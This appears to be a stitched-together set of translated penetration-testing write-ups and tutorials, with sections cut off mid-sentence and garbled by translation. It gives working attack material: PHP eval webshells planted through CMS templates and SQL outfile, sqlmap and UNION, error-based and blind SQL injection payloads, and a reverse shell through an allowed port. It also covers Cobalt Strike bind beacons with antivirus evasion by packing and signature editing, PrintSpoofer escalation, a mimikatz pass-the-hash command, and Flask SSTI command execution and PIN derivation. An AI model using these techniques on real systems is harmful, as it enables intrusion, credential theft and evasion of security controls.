path/admin to see the background login page, enter the obtained username and password to log in to the background. 5. Prepare to write a sentence at the website background-template-public template-js call login template. I found that the table does not exist and the shell cannot be written. 6. In the website background-system-data table and system template-manage data table-import system template, template file name: test.php.mod, and the stored data table name is: phome_ecm_111. After importing, it is found that the table does not exist and cannot be written to the shell. test.php.mod: ?php file_put_contents('lyy.php','?php @eval(\$_POST['lyy']);'); 7. In the website background-system-backup and restore data-execute SQL statements and write a sentence. The prerequisites require: MySQL configuration secure_file_priv is improper, and you need to know the absolute path of the website and the version of EmpireCMS=7.5. The absolute path of the website cannot be obtained here and the shell cannot be written. show variables like '%datadir%'; //View the absolute path of the website select '?php @eval($_POST[123])?' into outfile 'Absolute path/e/admin/lyy.php' //Write a sentence 8. When empirecms version 7.5 and previous versions back up the database in the background, the database table name was not verified. Any code execution can be achieved by modifying the database table name. Then, in the website background - system - backup and restore data - restore data - select any table to start backup and packet capture interception. Pay attention to the backup directory. If the directory does not exist, the system will automatically generate a directory name. Catch packets and intercept them, modify them, and send requests. POST /e/admin/ebak/phome.php HTTP/1.1 Host: www.xxx.com.cn Content-Length: 285 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://www.xxx.com.cn Content-Type: application/x-www-form-urlen
-
Title: Record once the source code leaks to getshell (a)
0x00 Introduction All modifications in this penetration have been restored, and the vulnerability has been submitted to the cnvd platform 0x01 Source code leak On a dark and windy night, I was idle and started using hunter to scan the source code of the Internet site. When viewing the backup file scan results, I saw the baby Without saying a word, access the download to get the source code! Traces of dedecms can be found in the annotation information 0x02 Sensitive information leakage The first step to obtain source code is of course to get sensitive information to try global search (crtl+shift+f) keywords key pwd passwd password1. Database information leak 2. The password of the backend administrator is leaked md5 decryption attempts to decrypt, it is actually a weak password After having an account password, of course, you have to find the background management address. So isn’t it easy to have a source code background management address? The background address was found in the RCE-getshell source code of the background (it was actually changed to 888) After entering the background with the leaked admin/admin888, the version information is found to be dedecms PS1 0x03 Historical Vulnerability Since you have obtained cms information, the first step is of course to look at its historical loopholes Finding historical vulnerabilities of SP1 are all remote codes that contain vulnerabilities, but this site has deleted the key file install.php (it does not exist in the source code) With luck in mind, I tried to access it again (maybe it added again later) It does not exist, so I can only continue to view other functional points Then I also tried to test many SP2 vulnerabilities, but all failed Continue to test other points Continue to view and discover system settings - system basic parameters - other options include disable functions for template engines But why did he disable the template engine function? I looked at the source code again with this question Sure enough, the template-related file was found again (it means that the function point is hidden and the file is still there) Try accessing, successfully accessing and can execute normally Then it's easy to do. According to the dedecms template rules, write the background template to payload, and access to execute PHP code. {dede:field name='source' runphp='yes'}@eval($_POST['lyy']);{/dede:field} //Call method [field: field name/] The key here is runphp='yes' //The php code is a simple sentence and then delete all the disabled functions in other options to save Because it is injected into index.htm So the URL connected to the webshell is the home page http://
-
Title: Remember a university SQL injection into getshell
0x01 Introduction The goal is a university. During a hole digging process, it encountered a SQL injection and tried to further utilize the expanded hazard. The vulnerability has been reported to the platform for repair. 0x02 sql injection getshell failed Add two single quotes at the id and report an error. After detection, it was found that it was a numeric injection and the spaces were filtered. Here you can use /**/instead of So I went to SQLmap directly python sqlmap.py -u url --batch --tamper=space2comment.py -dbs It was found that it was dba permission: python sqlmap.py -u url --batch --tamper=space2comment.py --is-dba I tried many ways to find web paths Finally noticed that the operating system is FreeBSD I accidentally saw this char(47) is '/', and I immediately thought of traversing the directory and finding the path through this By traversing layer by layer from the root directory, we finally find the website root directory Writing the shell failed, converting it to hexadecimal to avoid single quotes or not However, this injection can read any sensitive files on the server (including non-web directories), which is extremely harmful 0x03 Continue to try from other points Read the code at the SQL injection and found that there is no code-level filtering. The exploit() function breaks the string into an array, and separates it with spaces. Take the first one of the array, filters the spaces in disguise, and replaces the spaces with inline comments to inject According to the leaked database account and password, the attempt to connect to port 3306 failed, and it is estimated that the local IP is bound. Continue to traverse the directory and discover the login interface of mysql After logging in, there is a blank interface. When you read the code that processes the login logic, you will find that the login is successful and you will set the session directly but do not jump. After logging in, you can just visit the homepage directly. Check secure_file_priv and found that it is a null value, and there is no limit Try to write to the webshell using logs, and find that there is no permission to set the log path Found the website backend The account and password hash value found in the database Online website decryption hash is worth the plain text Login failed, read the source code I found that salt was added, so I added salt and decrypted it to get the correct password After successfully logging in, I found a place to upload photos in the new staff data management add-on But you can only upload image files After the upload was successful, I suddenly thought about whether the failure to write a shell in SQL was due to directory permissions. The website restricted that other directories except uploaded directories cannot be written? So I tried to write to shell Success is indeed a directory writing permission problem I found that the ant sword could not be connected, and it was estimated that waf intercepted the traffic. I looked at the traffic encryption of Ant Sword. Ant Sword has an important feature of Ant Sword traffic, which is that User-Agent is antSword/version. In addition, if an encoder is used, the decoding function must be sent, so the decoding function is also a feature, and a custom encoder and decoder are required. After modifying the User-Agent of the two files antSword-master/modules/request.js and antSword-master/modules/update.js, it successfully connected. Waf only intercepted the obvious feature of UA The rebound shell failed, and nc is based on the tcp/udp protocol, so possible reasons are: the rebound command does not exist, outbound IP is prohibited, and outbound ports are prohibited. Confirm sh exists The outbound port is to access the external network. If you query the network connection, you will find that port 54454 can exit. So after listening to port 54454, the shell successfully rebounded The escalation of power failed. The server kernel version is too high, and it is impossible to use kernel vulnerabilities to increase rights. If you try to plan tasks, environment variables, and suid to increase rights, you will find that there is no place to use it. Sudo to increase rights, and in third-party services, the plug-in directory is found that the permissions of several files are also configured normally, and no other sensitive information is leaked. 0x04 Summary 1. Add single quotes to the target system to report an error, but filter spaces, you can use /**/instead of bypass 2. Use the space2comment.py script in sqlmap to inject python sqlmap.py -u http://ip/newform.php?id=123 --batch --tamper=space2comment.py --dbs //Read the database name python sqlmap.py -u http://ip/newform.php?id=123 --batch --tamper=space2comment.py --is-dba //Check whether it is dba. The system has dba permissions. 3. Through NAMP scanning, the target system is freedb (sunos can also be). You can isomorphize the load_file() function and directly traverse the directory 3. Gradually read the target system directory http://ip/newform.php?id=123/**/union/**/select/**/1 ,LOAD_FILE('/'),3,4,5,6,7,83. Read to the website root directory http://ip/newform.php?id=123/**/union/**/select/**/1,LOAD_FILE('/home/db/www/'),3,4,5,6,7,84. Write to the webshell failed, trying to read the database configuration file. The user name and password of the website's database are displayed. The user name and password of the website are displayed. The user name and password of the website are displayed. The user name and password are used to log in to the pmbp database administrator page. However, the blank space cannot be displayed to the background management page and access the database management page directly. 6. Query SQL statements query permissions, display empty, and no restrictions on writes show VARIABLES LIKE 'secure_file_priv'7. However, writing to the shell through mysql's log is unsuccessful, and there may be restrictions on the directory permissions written. 8. Through directory scanning, find the background management of the directory system. The background username and password here can be read directly through SQLmap to have the username and password hash, and the password hahs are successfully decrypted through md5. It cannot successfully log in to the system, and the password may be incorrect. 9. Read the background management page through the load_file() function and find that the password is salted. Add salt here and decrypt it to get the correct password, and successfully log in to the target background 10. In the background data management photo, you can directly upload the picture and display the absolute path address of the picture. 11. Parameters Write the ant sword in one sentence to the absolute path address of the picture through mysql. 12 can be successfully written. A sentence can be written through the angri Sword, but the connection is not successful and may be intercepted by WAF. Here you need to modify the User-Agent of the angri Sword, and use the encoding of the encoder baa64 to bypass the WAF interception and successfully link. After modifying the User-Agent of the two files antSword-master/modules/request.js and antSword-master/modules/update.js, it was successful, and the code encoding bas6413 was used to rebound through nc. It was found that the rebound failed. It was found that the target system prohibited outbound IP and banned the TCP protocol outbound port, and it was found that the outbound port was accessing the external network. When querying the network connection, it was found that port 54454 could be outbound. nc -lvvp 544454 Original link: https://xz.aliyun.com/t/10527
-
Title: Intranet penetration-breakthrough security strategy launches CS
Foreword This article is an intranet penetration record that uses unconventional means to break through security strategies. Ambient description Web-based getshell, webshell is ice scorpion, with permissions of .net, very low permissions, server is server 2016, and the target does not leave the network! is equipped with antivirus software (Tureng, Microsoft's WD), ASMI is enabled by default, and there are special policy restrictions on the power shell.Tcp, icmp, and DNS protocols are not connected, and it is impossible to directly establish a connection with the public network's Cs server. (The intranet's Cs server cannot establish a connection with it) The public network cannot access the target web service (pure intranet web service) The extremely strict inbound policy inbound rules: only http allows inbound, and only one 80 and 8080 two http ports can be accessed normally by intranet machines. Outbound rules: Non-port 8080 ports are not allowed to communicate to the outside world. I hand-drawn a topology diagram and just look at it. Why should I go online cs The webshell permissions are too low and are highly restrictive. Cs needs to be raised online, because Cs uses reflective DLL to load the PE program, so it can play a certain role in bypass when performing some sensitive operations, such as mimikatz password grabbing and other operations. Like dumping LSA to local and then dumphash it won't work, because the webshell permissions are too low, and dumping LSA at least requires administrator permissions. Moreover, the target network environment is relatively harsh. Any communications other than the http protocol will be intercepted by the firewall, and it is impossible to establish a shell with interactive functions normally. Point 1: Use Pystinger reverse proxy to launch cs After reviewing the relevant information, I found that most of the articles on the Internet use Pystinger to implement intranet reverse proxy, and use the http protocol to map the target machine port to the CSS server listening port, so that it can be launched on CSS without accessing the web service. However, there is a problem here. The public network Cs server cannot access the target web service. Only machines on the same intranet can access the target web service. Therefore, it is impossible to directly build a pystinger on the server to reverse proxy the target machine port to the public network Cs listening port. The solution here is to directly build a CSS service on the machine and then perform pystinger anti-generation operation. A local cs service is launched . Regularly configure the backup type listener, and the listening port 60020 (the 6002 in the figure above has less 0.) proxy.aspx is uploaded to the target server, access 4. Upload the stinger_server.exe to the target server and execute the command: start D:\stinger_server.exe 0.0.0.0 5. Local execution command of springboard machine: stinger_client -w http://10.1.1.1:8080/2.aspx-l 0.0.0.0 -p 4002 6. Remove the kill and handle the resever_bind, upload it to the target and execute it but it will not go online. After executing the tasklist, it will find that the shell.exe has been executed, but it will not go online, and pystinger reports an error. The final result is that an error is reported. The specific reason is unknown. It may be that there is a problem with the target web environment or the problem with the backup type shell communication. Therefore, Pystinger anti-generation launch failed. Point 2: Forward proxy + forward shell online public network CS Since the reverse proxy does not work, use the forward proxy and then use the forward shell to connect. The target machine does not leave the network, and the target machine can be used as a springboard machine to bring out the forward shell of the target machine. Schematic The common http tunneling tools Neo-reGeorg and reGeorg (these two should be used more often) can be used in most network environments, but it is not possible here. The springboard machine will be directly disconnected from the Cs server. The cs connect forward connection request is issued by the springboard machine's beacon. You can only proxy the beacon into the socks tunnel to enable the connect request to connect to the listening port of the forward shell. However, because the target machine does not leave the network, after the springboard machine's beacon enters the proxy tunnel, it cannot connect to the Cs server on the public network, so it can only be port-to-port mapping, and cannot use the http protocol to build the socks tunnel (I guess). So here will use ABPTTS for http tunnel construction. Advantages of ABPTTS Excellent adversarial feature detection The tunnel created is very stable 1. Configure abptts: python abpttsfactory.py -o server \\ Generate server scripts and initialize them. 2. Upload server script to target machine Point Three: File Upload In this place, Ice Scorpion and Malaysia cannot upload files. They can only use Godzilla's large file upload to upload abptts.aspx (the subsequent exe upload also uses Godzilla's large file upload function) The exe file is also a pitfall. In normal environment, we can use certutil, powershell and other methods to download the exe to the target, but this machine does not leave the network. Due to the outbound rules, it cannot even access the web servers of other machines in the intranet. Finally, Godzilla's large file upload was solved. The address of abptts.aspx after uploading is completed: http://10.1.1.1:8080/abptts.aspx Visit abptts.aspx, and the page echoes a long list of ciphertexts to indicate that the abptts client is normal 3. Start http tunnel Python abpttsclient.py -c server/config.txt -u 'http://10.1.1.1:8080/abptts.aspx'-f 127.0.0.1:7777/127.0.0.1:1111 Here, 127.0.0.1:7777 is the native port, and 127.0.0.1:1111 is the port of the target machine. It means that the target machine's 1111 port is mapped to the local port 7777 through the http tunnel, and all requests you send to the local port 7777 will be forwarded to the target machine's 1111 port. Point 4: Forward Bind is not killed Front shell introduction of Cs (beacon tcp) The principle of forward shell is that bind opens a listening port on the target machine, waiting for other hosts to access this listening port, and the child Beacon accepts the request from the parent Beacon, rather than directly communicating with the cs server. The reverse shell creates a forward listener by the target initiating a request to access the listening port of the cs server generates a forward load (stageless Beacon can only be selected when generating a forward load) Why use a forward shell: If the target machine's outbound rules are very strict and the target does not leave the network, the reverse shell cannot maintain communication with the cs server normally in this case. If a forward shell is adopted, no matter how strict its inbound rules are, it will not block communication between local ports, so that the strict inbound rules policy can be bypassed. Communication process: Cs server (public network)--springboard machine (parent baecon)--port 7777--target port 8080 (http tunnel)--target port 11111 (child baecon) Bypass analysis In the target machine's firewall, the local port 8080 communicates with the local port 1111, while the attack machine and the target port 8080 are normally allowed to interact, thus passing the inbound and exit policy. Forward Bind-free It is mentioned above that there are two antiviruses, Turquoise and WD, and uploading the forward shell directly will definitely be killed instantly. Local tests will report the poison. Reserver_Bind is relatively simple to avoid killing. It directly generates shellcode and loads shellcode by separating free killing and other methods. However, the forward shell cannot generate shellcode. It belongs to the stageless Beacon, and the stageless Beacon cannot generate shellcode, so it cannot bypass the anti-virus through the regular separation of kills. Let me mention the difference between stager and stagerless: stager and stagerless beaconStager type: only contains simple load logic parts. The stager loads the payload of c2 into memory to achieve pe loading. This loading method is reflective DLL loading. Stagerless type: The entire writing of stager+payload is in the Trojan horse, which is larger in size and more obvious in the Stager type. As can be seen from the figure below, there is no forward bind listener option when generating payload, only the Reserve listener option. Since it is impossible to avoid killing by obfuscating the loader method, then strengthen the shell + positioning feature code method to avoid killing. Most domestic anti-virus software is estimated to be based on feature code searches and killing based on fuzzy hash algorithms. Strong obfuscation of the code layer can almost bypass most anti-viruses, strong shells (ASPack, upx, Safengine, VMPoject, the actual test Aspack and upx are not very effective). Main tools used: VirTest5.0+Resource Hacker+SafengineShielden+upxVirTest5.0: Automatic positioning of feature codes. Because they cannot assemble, they directly use 010Editor to modify the hexadecimal system of the feature code to break the loop feature code. Other methods to modify feature codes : Replace assembly functions, change instruction order, and zero jump. Note: After modifying the feature code, you need to test whether the exe can still run normally. SafengineShielden Select anti-LPK injection, anti-debugger attachment, anti-memory dump, and full complexity, and do not check the virtual machine detection. Finally, add a layer of upx shell (upx shell depends on the situation, sometimes adding upx shell will cause killing), Resource Hacker adds an arbitrary icon file, and successfully passes the turtle. The target machine runs forward shell Upload the forward bind and execute D:/beacon_se.exe on the ice scorpion. You can see that the Trojan opens port 1111 on the target machine. We use the http tunnel to connect to the forward bind located on port 11111 on the target machine. This machine (springboard) forward connection shell Native (attacker) goes online as a springboard machine, and then executes it in the native shell connect 127.0.0.1 7777 Successfully launched forward 10.1.1.1, but the permissions of the online shell are extremely low, and mimikatz cannot run. Because of the forward shell, even if the right lift is successful, the shell cannot be directly rebounded. Moreover, because the target system is 2016, common escalation scripts in plug-ins will fail to escalate. PrintSpoofer escalation Upload PrintSpoofer.exe to the target host. Execute the following command to run my forward shell with system permissions, then I will get a shell with system permissions instead of the low permissions shell of asp. C:\Windows\Temp\PrintSpoofer -c D:/1111_se.exe Netstat -ano confirms whether there is a 1111 port open locally. The forward shell is running normally, and the springboard machine is connected to the forward bind again. connect 127.0.0.1 7777 The power was successfully raised, and the battle was basically over. The system permissions were obtained. Mimikatz grabbed the password, but there was no clear text, but he could get the hash. Bypass antivirus and add user login to desktop Net1 changed its name and added a user. If an error is reported, it must have been intercepted by Turfur. The killer directly drives the layer to kill softly. Local experiments can be eliminated, but I don’t know why it cannot be achieved in terms of goals. Change the idea: Domestic antivirus interception and other antivirus interception and user commands are often only targeted at the two processes of net and net1, and there is no hook underlying function, so we just need to directly call the underlying function without executing net and net1 to bypass the antivirus monitoring. The principle is not analyzed in depth, there are articles on the Internet. Adding Administrator Users in Windows API Project address: https://github.com/newsoft/adduser Bypassing the antivirus, a user was added. The next step was to regular operations, use the printer vulnerability to increase permissions, and use the sys permission to switch to the desktop of the adminsitrator user. hash pass attack Or it is a hash pass, and it is directly on the adminsitrator desktop. sekurlsa:pth /user:Administrator /domain:Username /ntlm:194f34439dd27846db00c6723036da6b '/run:mstsc.exe /restrictedadmin'194f34439dd27846db00c6723036da6b The advantage of Hash delivery is that it has less movement and no new users are needed, and fewer traces are left, reducing the probability of attackers being discovered. As shown in the figure below Just like the above operation, reverse proxy the other party's port 3389 to the local area and connect it. Finally, I attached a screenshot of the logged-in desktop. When I logged in, I reported an error from a backstab. This just explains why I didn’t kill successfully when I was drying turtle (it crashed due to program compatibility issues).
-
Title: 2021 4th Anxun Cup WriteUp (Repost)
0x00 Misc 1. It should be considered a sign-in Go to BV1ZX4y1V7Qb to find a special flag barrage composed of letters and underscores! Flag format is D0g3{
-
Title: SQL injection related
1 数据库相关 1.1 定义 A database is a warehouse for storing data. A data set that is stored together in a certain way, can be shared with multiple users, has the smallest possible redundancy, and is independent of each other from the application 1.2 分类 关系型数据库 - SQLSimilar to tables, there is a complex relationship between tables and tables before MySQL, SQLServer, etc. 非关系型数据库 - NoSQLKey - Value form, simplifying database structure and avoiding redundancy. MangoDB, Redis, memcached 1.3 基本操作 查看数据库1 show databases(); 使用数据库1 use information_schema 查看当前使用数据库1 select database(); 查看数据表1 show tables(); 查看数据库版本1 select version(); 使用当前数据库的用户1 select user(); 查看数据库路径1 select @@datadir 查看安装路径1 select @@basedir 查看系统类型1 select @@version_compile_os 1.4 元数据表 - information_schema information_schemais an information database that holds information about all other databases maintained by the MySQL server. Such as database name, database table, table data type and access permissions, etc. It is very useful in the process of web penetration TableSCHEMATA: Provides information about all databases in the current MySQL instance. This table is taken from the result of show databases. TABLESTable: Provides information about tables in the database (including views). COLUMNSTable: Provides column information in the table. Describes the information of all columns of a table and each column in detail. 通过元数据表查询数据表1 select table_name from information_schema.tables where table_schema='test'; 通过元数据表查询数据列1 select column_name from information_schema.columns where table_name='table1'; 2 SQL 注入定义及类型 2.1 定义 Security vulnerability that occurs in the application and database layer SQL requests sent directly within the website are generally not dangerous, but the actual situation is that SQL statements need to be dynamically constructed in combination with user input data. If the input data is constructed into malicious SQL code and the web application does not review the parameters used by dynamically constructed SQL statements, it will bring security risks. 形成原因User can control parameter transfer The content of the user's arguments is spliced in the SQL statement The spliced SQL statement is executed in the database Summary: The data entered by the user is executed as code 2.2 分类 Boolean injection Joint query injection Time-type injection Error-reported injection Stacked injection (multi-statement query injection) 3 判断 SQL 注入 question Determine whether the access target URL has SQL injection? If SQL injection exists, what kind of SQL injection belongs to? Determine the type of SQL injection backend database? 3.1 经典的单引号判断法 http://xxx/text.php?id=1' If the page returns an error, SQL injection exists; the reason is that both character types and integer types will report an error because the number of single quotes does not match. 3.2 判断注入类型 数字型Usually construct and 1=1 and and 1=2 to judge 运算符判断法:The key to this judgment method is to determine whether there are quotation marks wrapped around the input parameters through addition, subtraction, multiplication, division and other operations, and then obtain sensitive information of the database through some general attack methods. 字符型Usually construct and '1'='1 and and '1'='2 to judge 类型转换判断法:In MySQL, if the types on both sides of the equal sign are inconsistent, a cast will occur. When a number is compared with the string data, the string will be converted to a number and then compared. String 1 is equal to the number; string 1a is cast to 1, equal to 1; string a is cast to 0, so equal to 0. According to this feature, it is easy to judge whether the input point is character type, that is, whether it is wrapped in quotes (maybe single or double quotes, in most cases single quotes). Visit ?id=3-2, the page is empty, not a numeric type, but may be a character type. Continue to try to access ?id=2a, and the result is successfully returned, indicating that it is a character type. 3.3 SQL 数据库的类型 3.3.1 通过报错信息 MySQL you have an error in your SQL syntax,check the manual that corresponds to your mysql server version for the tifht syntax to use near ” at line x Access Microsoft JET Database… MSSQL Microsoft ODBC Database… 3.3.2 数据库标志性信息 sql server: select @@version-- Oracle: select banner from v$version mysql: select @@version, version()--, length(user)0 is normal postgresql: select version()-- 3.3.3 数据库特有库名 MySQL: information_schema Access: mysysobjects Oracle: sys.user_tables MSSQL: sysobjects 3.3.4 数据库特有函数 sql server: @@pack_received @@rowcount mysql: connection_id(), last_insert_id(), row_count() orcale: bitand(1,1) postgresql: select extract(dow from now()) Substring can be called in mssql. oracle can only call substr 3.3.5 字符串处理方式 mssql:id=1 and 'a'+'b'='ab' mysql: id=1 and 'a'+'b'='ab' , 'ab'=concat('a','b') oracle: id=1 and 'a'+'b'='a'||'b', 'ab'=concat('a','b') postgresql:id=1 and 'a'+'b'='a'||'b' ,'ab'=concat('a','b') 3.3.6 特殊符号及注释 null and %00 are comments supported by access # is a comment in MySQL, and returns an error that indicates that the injection point may not be MySQL. In addition, it also supports -- , and /* */comments -- and /* */are comments supported by Oracle, SQL server, and MySQL. If it is normal, the instructions may be one of these three databases. ; is a clause query identifier. Multi-line queries are not supported in Oracle. It returns an error and is likely an Oracle database. 4 UNION 联合查询注入 4.1 原理 The union operator is used to merge the result set of two queries or multiple select statements information The select statement inside UNION must have the same number of columns. Through UNION joint query, directly returning the query results to the page is the easiest way to inject it. 4.2 常用语句 1 2 3 4 5 6 7 8 9 10 11 12 13 //Library name union select 1,group_concat(schema_name),3 from information_schema.schemata union select 1,(select schema_name from information_schema.schemata limit 0,1),3 //Table name union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' //Column name union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='emails' //data union select 1,group_concat(id,email_id),3 from security.emails 5 时间型盲注 布尔型盲注 Blind annotation is a type of injection, which refers to guessing the content in the data without knowing the database return value and implementing SQL injection. Blind bets are generally divided into Boolean bets, time-based bets and error-reported blinds. 时间型: By injecting a specific statement, determine whether the injection is successful based on the physical feedback requested by the page. For example, use the sleep() function in the SQL statement to judge the injection point by looking at the time of loading the web page. 布尔型: The page only returns two states (types) pages, True and False. Use the page to return different data and guess the data one by one. Applicable scenarios: Usually, the execution result cannot be obtained from the display page, and there is no way to know whether the injection statement is executed. 5.1 原理示意 select * from user where id='?' ? Enter for user, substitute: 4' and sleep(3)# The actual SQL statement executed: select * from user where id='4' and sleep(3)# When ID=4 exists, sleep 3 seconds When ID=4 does not exist, return directly If the entire spliced SQL is correct, the sleep is executed. The previous error (does not exist), sleep(3) will not be executed. 5.2 常用函数 5.2.1 编码转换函数 ord('a'): Convert characters into ascii code ascii('a'): converts characters into ascii code char(97): Convert ascii into characters 5.2.2 条件判断函数 if(exp1, exp2, exp3): exp1 is established, execute exp2, otherwise execute exp3. case when then function: select case when username='admin' then sleep(1) else 'error' end from wp_user_ 5.2.3 截取函数 substr 函数substr(str, pos, len): start from the pos position, and intercept the len length of the string str substr(str from pos for length): can be used to filter the situation, substring 函数substring(str, pos, len): starts from the pos position, and intercepts the len length of the string str substring(str from pos for length): can be used to filter the situation, Note: pos starts at 1 1 2 3 id=1 and if(ord(substr(database(),1,1))=116,1,0)%23 select substring(database(), from 1 for 1) select substring(database(), 0, 1) mid 函数mid(str, pos, length) mid(str from pos for length) 1 2 select mid(database(), from 1 for 1) select mid(database(), 1, 1) left 函数Snipped string from left left(str, len) 1 select left(database(), 1) right 函数Snipped string from right right(str, len) 利用正则表达式逐位匹配1 2 3 4 select * from wp_user_ where password rlike '^1' select * from wp_user_ where password REGEXP '^1' select * from wp_user_ where password REGEXP '^12' . 5.2.4 延时函数 sleep(n): program suspends n seconds 1 if(ascii(substr(database() from 0))=97, sleep(3),0) benchmark(count, sha(1)): Execute the sha(1) function count times to achieve the purpose of delay 1 SELECT BENCHMARK(10000000, sha(1)) Use Cartesian product to create delays: 1 SELECT count(*) from information_schema.columns A, information_schema.columns B, information_schema.tables C; Use regular expressions to match long strings to create delays: 1 select * from wp_user_ where id=1 and IF(1,concat(rpad(1,999999,'a'),rpad(1,99999,'a'),rpad(1,99999,'a'),rpad(1,99999,'a'),rpad(1,99999,'a'),rpad(1,99999,'a'),rpad(1,99999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999 ,'a'),rpad(1,999999,'a'),rpad(1,99999,'a'),rpad(1,99999,'a'),rpad(1,99999,'a'),rpad(1,99999,'a'),rpad(1,99999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) 5.2.5 其它函数 count(): calculate the total number length(): Returns the length of the string 6 报错型注入 6.1 原理 Syntax for using SQL statement errors, used to inject the result without echo, but the error message is displayed with output The returned information is the information needed by the attacker MySQL error injection is mainly divided into the following categories: Overflow of data types such as BigInt Xpath syntax error count() + rand() + group by causes the primary key to be repeated Space data type function error 6.2 常用函数 6.2.1 updatexml updatexml The second parameter needs to be passed in is a string in Xpath format. If the input does not match, return the parameter value and report an error. The maximum error length is 32 bits 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four //Show the current database updatexml(1,CONCAT(0x7e, database()),1) //Show all databases updatexml(1,CONCAT(0x7e,(select schema_name FROM INFORMATION_SCHEMA.SCHEMATA limit x,1),0x7e),1) //Get the table name updatexml(1,CONCAT(0x7e,(select table_name from information_schema.tables where table_schema='sectest' limit x,1),0x7e),1) updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) //Get the column name updatexml(1,CONCAT(0x7e,(select column_name from information_schema.COLUMNS where table_name='wp_user_' limit 1,1),0x7e),1) updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name='users')),1) //Get data updatexml(1,CONCAT(0x7e,(select username from wp_user_ limit 0,1),0x7e),1) updatexml(1,CONCAT(0x7e,(select password from wp_user_ where username='admin' limit 0,1),0x7e),1) updatexml(1,CONCAT(0x7e,(select GROUP_CONCAT(username,0x3a, password) from wp_user_ where id=1),0x7e),1) updatexml(1,make_set(3,'~',(select data from users)),1)# 6.2.2 floor 显错注入 1 2 3 and (select 1 from (select count(*), concat(user(), floor(rand(0)*2))x from information_schema.tables group by x)a) and (select 1 from (select count(*), concat((select group_concat(username,0x3a,password) from wp_user_ where id=1), floor(rand(0)*2))x from information_schema.tables group by x)a) 6.2.3 其它显错注入 1 2 3 4 5 6 7 and extractvalue(1,concat(0x7e,(select database()))) //1105 - XPATH syntax error: '~sectest', Time: 0.000000s and exp(~(select * from (select user())a)) //mysql5 union select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a; //1060 - Duplicate column name '5.7.23', Time: 0.000000s 6.3 Demo http://ctf5.shiyanbar.com/web/baocuo/index.php payload1 2 3 4 updatexml(1,concat(0x7e,(version())),0) http://ctf5.shiyanbar.com/web/baocuo/index.php $sql=' select * from users where username='' and updatexml /*' and password='*/(1,concat(0x7e,(version())),0) or '1' ' 7 堆叠注入 A bunch of SQL statements (multiple) are executed together In MySQL, mainly in the command line, adding ; at the end of each statement means the end of the statement. This allows you to consider using multiple SQL statements together question What is the difference between stack injection and UNION injection? The statement types executed by UNION are limited and can only be used to execute query statements. Stack injection can execute any statement Notice
-
Title: Flask SSTI Exploration
Flask SSTI 利用方式探索 python 语言基础 In python, the object class is the base class of all classes in Python. If you do not specify which class to inherit when defining a class, the object class is inherited by default. The magic variable __class__ that each class has, represents the current class. 1 print(''.__class__) Each class has a __base__ attribute that lists its base classes: List all base classes: __bases__ List the call order of the class: __mro__ Get the subclass collection: ''.__class__.__mro__[1].__subclasses__() Next, look for subclasses that can execute commands: os._wrap_close(133) Find available variables and methods: ''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__ Execute system commands: ''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['popen']('ls').read() Read file content: ''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['open']('flag.txt').read() SSTI 简介 环境搭建 模板 A site with a unified style, most of its page styles are consistent, but the content displayed on each page is different. If all the logic is carried out at the front end, it will undoubtedly affect the response effect and efficiency, which is very unrealistic. Putting all logic in the backend will lead to too complexity, which is light at the beginning and heavy at the end. The birth of templates is to separate display from data, so that front-end staff can focus on performance design, back-end staff can focus on business logic, and simplify the complexity of code. Template technologies are diverse, but their essence is to generate the final HTML code through the template engine. Flask uses Jinja2 as the template engine. Jinja's syntax is very simple, and there are roughly several types: 1 2 3 4 {%.%} Statements {{.}} Print expressions for template output (Expressions) {{#.#}} Comments #.## Line Statements SSTI In the SSTI vulnerability point, the content in {{x}} will be executed. SSTI, also known as server-side template injection attack. The jinja2 template uses the {} syntax to represent a variable, which is a special placeholder. When rendering with jinja2, it will fill/replace these special placeholders. However, during the process of target compilation and rendering, malicious content inserted by the user is executed, which may lead to problems such as sensitive information leakage, code execution, and GetShell. 环境搭建 Test environment construction: Ubuntu + Docker environment: https://github.com/Tiaonmmn/pasecactf_2019_web_honey_shop 敏感信息泄露导致身份伪造 flask session 机制 Through the 3 separate paragraphs, the first paragraph is actually the content after base64encode, but the equal sign used for filling is removed. If the decode fails, you need to add 1-3 equal signs to complete it. The intermediate content is a timestamp. If the timestamp exceeds 31 days in flask, it will be considered invalid. The last paragraph is the result of the security signature, which uses the secretkey of session data, timestamps and flask through sha1 operations. 方法一 This application has SSTI vulnerability : under /hello SECRET_KEY leaked under config: Fake cookies using the flask-unsign tool (installed with pip): 1 flask-unsign --sign --cookie '{'balance': 6666}' --secret '7xrQRfVWmTHMRzwGXLhCQrECTqLndq1ODnvvDjKZ' 方法二 http://127.0.0.1:8345/download?image=1.jpg There is a vulnerability to download any file. Download the environment variable file: http://127.0.0.1:8345/download?image=./././././././././proc/self/environ Flask PIN 码利用 Flask PIN 码 The Flask Debug application provides a page-side interactive debugging tool in mode, which is the same as the Python command line we usually use, that is, it provides us with an interactive web-side shell. However, the rules for generating PIN codes are regular and can be followed, making it possible to obtain PIN codes, and there are many ways to use them later. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from itertools import chain probably_public_bits=[ 'root',# username 'flask.app',# modname 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None), ] private_bits=[ '345051575547'# str(uuid.getnode()), /sys/class/net/eth0/address '613cacd3857f425e9409e544dece08da', # get_machine_id(), /etc/machine-id ] h=hashlib.md5() for bit in chain(probably_public_bits, private_bits): If not bit: Continue continue if isinstance(bit, str): bit=bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name='__wzd' + h.hexdigest()[:20] num=None 